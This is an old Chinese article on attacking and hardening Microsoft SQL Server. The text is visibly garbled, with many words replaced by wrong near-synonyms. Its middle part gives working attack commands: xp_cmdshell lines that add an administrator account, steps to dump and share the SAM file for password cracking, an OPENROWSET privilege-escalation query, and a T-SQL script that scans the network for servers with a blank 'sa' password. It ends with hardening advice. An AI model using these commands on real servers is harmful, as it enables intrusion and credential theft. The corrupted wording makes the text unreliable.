pps于NT服务器的入侵,有众多种
步骤,如对IIS的
漏洞进行利用,但
大家不晓得
留神到没有,其实通过与NT服务器
有关联的SQL数据库服务器
的例子也是很有比例的一种
目的 。Herbless入侵
毁坏的一些站点,如legoland.co.uk站点便是通过SQL服务器
的入侵而
获得对系统的操纵权而
毁坏的 。所以对SQL服务器的
掩护是必不可
少的,这里我
整顿了一些
漏洞供大家来参考,见笑,见笑 。
----------------------------------------------------------------
我们先来看看SQL服务程序
支撑的网络
协定库:
----------------------------------------------------------------
| SQL Server Network Protocol Libraries |
----------------------------------------------------------------
|Protocol library| 可能存在的
漏洞 | 是不是加密 |
----------------------------------------------------------------
|Named pipes | --
使用NT SMB端口(TCP139,UDP137, | 否 |
|(有名管道) | 138)来进行通讯,这些
可以被通 | |
| | 的防火墙操纵,但假如内部网络可| |
| |
随便
拜访的话也是一个不小的缺点| |
| | --消费者名字,密码和数据没有进行加| |
| | 传输,任何人
可以通过SNIFFER来 | |
| | 进行数据
拿获 。 | |
----------------------------------------------------------------
|IP Sockets | --默许状态下开1433口,你
可以
使用| 否 |
| | 扫描器来查看这个端口 。 | |
| |
可以被SNIFFER截获数据 。 | |
----------------------------------------------------------------
|Multi-Protocol | --客户端需求
支撑NT RPCs;在不同 | 是 |
| |
品种的环境中可能引起问题 。 | |
| | --默许状况下
使用TCP随机端口,但| |
| | 防火墙进行端口图固定实现(参 | |
| | 看KB Q164667) 。 | |
| | --需求
留神加密选项是不是
取舍,默 | |
| | 是不
取舍此选项的 。 | |
----------------------------------------------------------------
|NWLink | --存在被SNIFFER截获数据的惊险 | 否 |
----------------------------------------------------------------
|AppleTalk (ADSP)| --存在被SNIFFER截获数据的惊险 | 否 |
----------------------------------------------------------------
|Banyan Vines | --存在被SNIFFER截获数据的惊险 | 否 |
----------------------------------------------------------------
普通的推举
使用是:假如你能在Integrated (NT) Security上
使用Named Pipes 或者
Multi-protocol,那你就
使用这些
协定库,假如可能,尽量
使用Multi-protocol
和使能加密选项 。假如你上面几个不能
使用,那就
使用IP Sockets
协定,并转变
其默许的端口并随时
审查系统
保障无任何SNIFFER存在 。而且,考量
使用一WEB服
务或者COM组件作为
利用程序的business object layer,并在之间层和SQL服务程
序中
使用安全通道(secure channel) 。有不少第三方的产品
可以加密这方面的通讯 。
下面再讲一下SQL SERVER的各种安全模式和它们
怎么进行工作?
安全模式定义了一些SQL SERVER是
怎么认证要
使用它们服务的消费者,请看下面
SQL Server 6.5的安全模式和在SQL Server 7.0做了转变的一些
形容和区别:
-------------------------------------------------------------------
|安全模式 | SQL Server 6.5 | SQL Server 7.0转变地方 |
-------------------------------------------------------------------
|Standard | --登陆定义在SQL SERVER里| --
径自的
标准模式在SQL SERVER|
|
标准模式 | 而且给定密码 。 | 没有
使用了 。 |
| | --SQL SERVER的登录帐户与| |
| | WINDOW NT
离开 | |
-------------------------------------------------------------------
|Integrated |-
使用安全治理器SQL的帐 | --在这里成为"Windows NT only"|
|综合模式 | 户 。 | 模式 。 |
| |-消费者在衔接到SQL SERVER| --只工作在NT系统下,在WIN9X不|
| | 不需求特定
离开LOGIN和 |
支撑 。 |
| | 密码 。 | |
| |-密码从不存储在
利用程序| --
可以直接
联合到NT的组中便于 |
| | 中,并不以明文在网络中| 治理,(
留神有一BUILTIN组在|
| | 传输 。 | 当地系统上产生). |
| |-SQL SERVER
可以
使用NT的| |
| | 的认证
模式来认证消费者并| |
| |
可以
使用如帐户过期等 。| |
| |-需求Named Pipe或Multi-| |
| | Protocol库 。 | |
--------------------------------------------------------------------
|Mixed |-提供上面的
模式的一些特| --成为SQL SERVER和WINDOWS NT |
|混合性
模式 | 征但有后退的东西是客户| 模式 。 |
| | 端不能
构建可信赖衔接 。| --尽量
使用WINDOW NT ONLY模式 | |
--------------------------------------------------------------------
登录只是是第一步,一旦消费者登录,消费者必须
拜访独立的数据库,要使上面
的成立,就必须在sysusers表里存在一表目给消费者用的每个数据库 。所以安全
请你
留神在你的数据库中是不是存在"guest"帐户和
保障不会在你不
留神的时候给
某些人
拜访你的数据库 。
---------------------------------------------------------------------
对于SQL SERVER存在的一些安全问题:
存在"sa"帐户,密码就为空,而且这个密码是SQL SERVER安全模块成员,我们就
可以通过xp_cmdshell stored procedure(
扩大存储过程)来进行命
令操作,如:
Xp_cmdshell "net user testuser UgotHacked /ADD"
而后在:
Xp_cmdshell "net localgroup Administrators testuser /ADD"
这样
突击者就
顺利的在SQL SERVER上添加了一个消费者 。
固然远程的话,普通需求有1433口开着,通过MYSQL 客户端进行衔接 。
固然你也
可以
使用:
Xp_cmdshell "rdisk /s-"
的
步骤,这样就在winnt
epair目录里重建了信息而不
揭示消费者 。
而后
在SAM备份以后,
突击者
可以
构建一个SMB衔接到共享或者
构建一个衔接:
Xp_cmdshell "net share getsam=c:winnt
epair"
利用共享
获得这个文件,
而后在
使用l0phtcrack来跑吧 。假如SMB端口被防火墙
操纵了,或者关闭了,
突击者也
可以拷贝sam._文件到WEB目录进行匿名阅读器
下载 。假如人家没有开IIS,你何不用tftp呢:).
OK,通过这台被操纵的SQL SERVER服务器,
突击者
可以通过它来搜索网络内部
其余机器来
扩充战果,下面是一个SQL脚
原来列举网络中
其余SQL SERVER存在
空帐户'sa'的示例:
-----------------------------------------------------------------------
-- Create temp table to store enumerated servers
SET NOCOUNT ON
CREATE TABLE #temp (shelldump varchar(255))
INSERT #temp EXEC xp_cmdshell 'osql -L'
DECLARE @current_server varchar(255), @conn_string varchar(255)
DECLARE sql_cursor CURSOR FOR SELECT * FROM #temp
OPEN sql_cursor FETCH NEXT FROM sql_cursor INTO @current_server
-- Loop through potential targets and check for null sa accounts
-- If target is vulnerable, version information will be displayed
WHILE @@FETCH_STATUS = 0
BEGIN
If @current_server <> 'Servers:'
BEGIN
SELECT @current_server = rtrim(ltrim(@current_server))
SELECT @conn_string = 'exec xp_cmdshell ''osql -S' + @current_server + ' -Usa -P -Q "select @@version"'''
PRINT 'Attempting connection to server: ' + @current_server
EXECUTE (@conn_string)
PRINT '====================================================================='
END
FETCH NEXT FROM sql_cursor INTO @current_server
END
--Clean up
CLOSE sql_cursor
DEALLOCATE sql_cursor
DROP TABLE #TEMP
----------------------------------------------------------------------
固然有些人也可能关闭xp_cmdshell extended stored procedure(
扩大存储过程),
我们也
可以
使用下面的
步骤:
xp_regread 'HKEY_LOCAL_MACHINE', 'SECURITYSAMDomainsAccount', 'F'
假如MSSqlserver 服务在当地系统帐户下运行,而且假如系统上没有安装syskey,上面
的调用就
可以返回注册表中加密的密码或者SID 。
另一个
漏洞,是对于adhoc heterogenous queries 来进行
权力的
晋升,对于上面的
漏洞,
可以
使用下面的xploit来
获得
权力的
晋升:
SELECT * FROM OPENROWSET('SQLOLEDB','Trusted_Connection=Yes;Data Source=myserver',
'SET FMTONLY OFF execute master..xp_cmdshell "dir c:\"')
这是大家
比较喜爱的一种
可以执行
其余命令,自己想吧 。
---------------------------------------------------------------------------
还有便是近期的一个
漏洞:Extended Stored Procedure Parameter Parsing (
扩大存储
过程参数解析)的
漏洞 。起重要问题是在MSD中提供一个API函数srv_paraminfo(),它是用来
扩大存储过程调用时
解释
深刻参数的,如:
exec <存储过程名> <参数1>, <参数2>, ...
如要
查问“c:winnt”的目录树,
可以如下
抒发:
exec xp_dirtree 'c:winnt'
但没有
审查各个参数的长度,传递相当长的字符串,就存在了
遮蔽
其余堆栈
参数的可能招致缓冲溢出 。
当前已经晓得的过程如下:
当前已知受影响的
扩大存储过程如下:
1、xp_peekqueue (xpqueue.dll)
xp_printstatements (xprepl.dll)
给第一个参数传递超长的字符串会
遮蔽
异样
解决程序所
保留的返回地址 。
2、xp_proxiedmetadata (xprepl.dll)
该存储过程
使用4个参数 。给第二个参数传递超长的字符串会
遮蔽
异样处
理程序所
保留的返回地址 。
3、xp_SetSQLSecurity (xpstar.dll)
该存储过程
使用4个参数 。给第三个参数传递超长的字符串会使整个SQL
Server
历程马上终止 。
4、xp_displayparamstmt(xprepl.dll)
xp_enumresultset(xprepl.dll)
xp_showcolv (xprepl.dll)
xp_updatecolvbm (xprepl.dll)
给第一个参数传递超长的串将招致非法操作并
遮蔽
异样
解决程序所
保留的返
回地址 。
这里告诉大家一个技巧性的东西,假如想要晓得这些
扩大存储过程调用了那写dll
文件,你
可以如下操作,如:
select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and o.name
= 'xp_peekqueue'
这样你就
可以
获得调用这个
扩大存储过程的DLL了,假如微软没有出补丁的话,你就
临时把这个DLL文件改名吧,固然有些DLL文件调用几个
扩大存储过程,不能盲目更改,
不然招致
其余的也不能
使用,你需求
使用下面的操作来晓得DLL调用那些
扩大存储过程:
select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and c.text = 'xpqueue.dll'
--------------------------------------------------------------------------
OK,固然SQL SERVER也有一些
其余
漏洞,
绝对轻微些,如ISS发现的治理员
LOGIN ID存储在注册表中,其加密的
步骤
比较
方便,很方便
获得,
详尽状况
---------------------------------------------------------------------
一些对SQL SERVER系统的安全
提议:
--
保障打上最新的安全补丁,如下:
Windows NT 4.0 - Service Pack 6a
SQL Server 6.5 - Service Pack 5a
SQL Server 7.0 - Service Pack 2. (Various hotfixes - check
)
SQL Server 2000 - Hotfix S80233i.exe (Intel)
固然大家要紧密
留神微软的安全布告 。
--不要在IP sockets
使用端口1433,假如你
使用Multi-protocol也请
批改端口 。
--不要把'sa'密码嵌入到任意
利用程序如VB/DELPHI apps里,或者一
global.asa文件里,由于"sa"是SQL Server 的一个默许密码,其权限
类似与WINDOWS NT系统里的治理员帐户,而且密码为空 。
--转变'sa'和'probe'帐户的密码 。
--
保障SQL SERVER的
舛误记录在NTFS系统上 。
--假如你不需求xp_cmdshell( use sp_dropextendedproc 'xp_cmdshell' )
就不要把xp_cmdshell extended stored proc(
扩大存储过程) 留在服务
器上 。在任何isql窗口中输入:
use master
sp_dropextendedproc 'xp_cmdshell'
--
放弃不需求OLE自动存储过程,固然Enterprise Manager中的某些
特色也
会不能
使用,这些过程包含如下:
Sp_OACreate Sp_OADestroy
Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty
Sp_OAStop
--去掉不需求的注册表
拜访过程,如下:
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
--去掉
其余系统存储过程,假如你认为你感觉你还有
挟制,固然
要小心Drop这些过程,你
可以在测试机器上测试,
保障你
畸形的
系统能
实现工作,这些过程包含:
sp_bindsession sp_cursor sp_cursorclose
sp_cursorfetch sp_cursoropen sp_cursoroption
sp_getbindtoken sp_GetMBCSCharLen sp_IsMBCSLeadByte
sp_OACreate sp_OADestroy sp_OAGetErrorInfo
sp_OAGetProperty sp_OAMethod sp_OASetProperty
sp_OAStop sp_replcmds sp_replcounters
sp_repldone sp_replflush sp_replstatus
sp_repltrans sp_sdidebug xp_availablemedia
xp_cmdshell xp_deletemail xp_dirtree
xp_dropweBTask xp_dsninfo xp_enumdsn
xp_enumerrorlogs xp_enumgroups xp_enumqueuedtasks
xp_eventlog xp_findnextmsg xp_fixeddrives
xp_getfiledetails xp_getnetname xp_grantlogin
xp_logevent xp_loginconfig xp_logininfo
xp_makeweBTask xp_msver xp_perfend
xp_perfmonitor xp_perfsample xp_perfstart
xp_readerrorlog xp_readmail xp_revokelogin
xp_runweBTask xp_schedulersignal xp_sendmail
xp_servicecontrol xp_snmp_getstate xp_snmp_raisetrap
xp_sprintf xp_sqlinventory xp_sqlregister
xp_sqltrace xp_sscanf xp_startmail
xp_stopmail xp_subdirs xp_unc_to_drive
--去掉数据库中guest消费者 。
--关闭SQL MAIL兼容
威力,
预防传递一些木马病毒等 。
--设置一个
使命
解决来定时运行下面的程序:
findstr /C:"Login Failed" mssql7log*.*'
再重定向到
其余文件或者MAIL到治理员信箱 。
--
时常
审查带有空密码的帐户:
Use master
Select name,
Password
from syslogins
where password is null
order by name
--
审查全部不需求'sa'权限的存储过程和
扩大存储过程
拜访权限:
Use master
Select sysobjects.name
From sysobjects, sysprotects
Where sysprotects.uid = 0
AND xtype IN ('X','P')
AND sysobjects.id = sysprotects.id
Order by name
--
保障SQL SERVER的传输信息在隔离的网络段中 。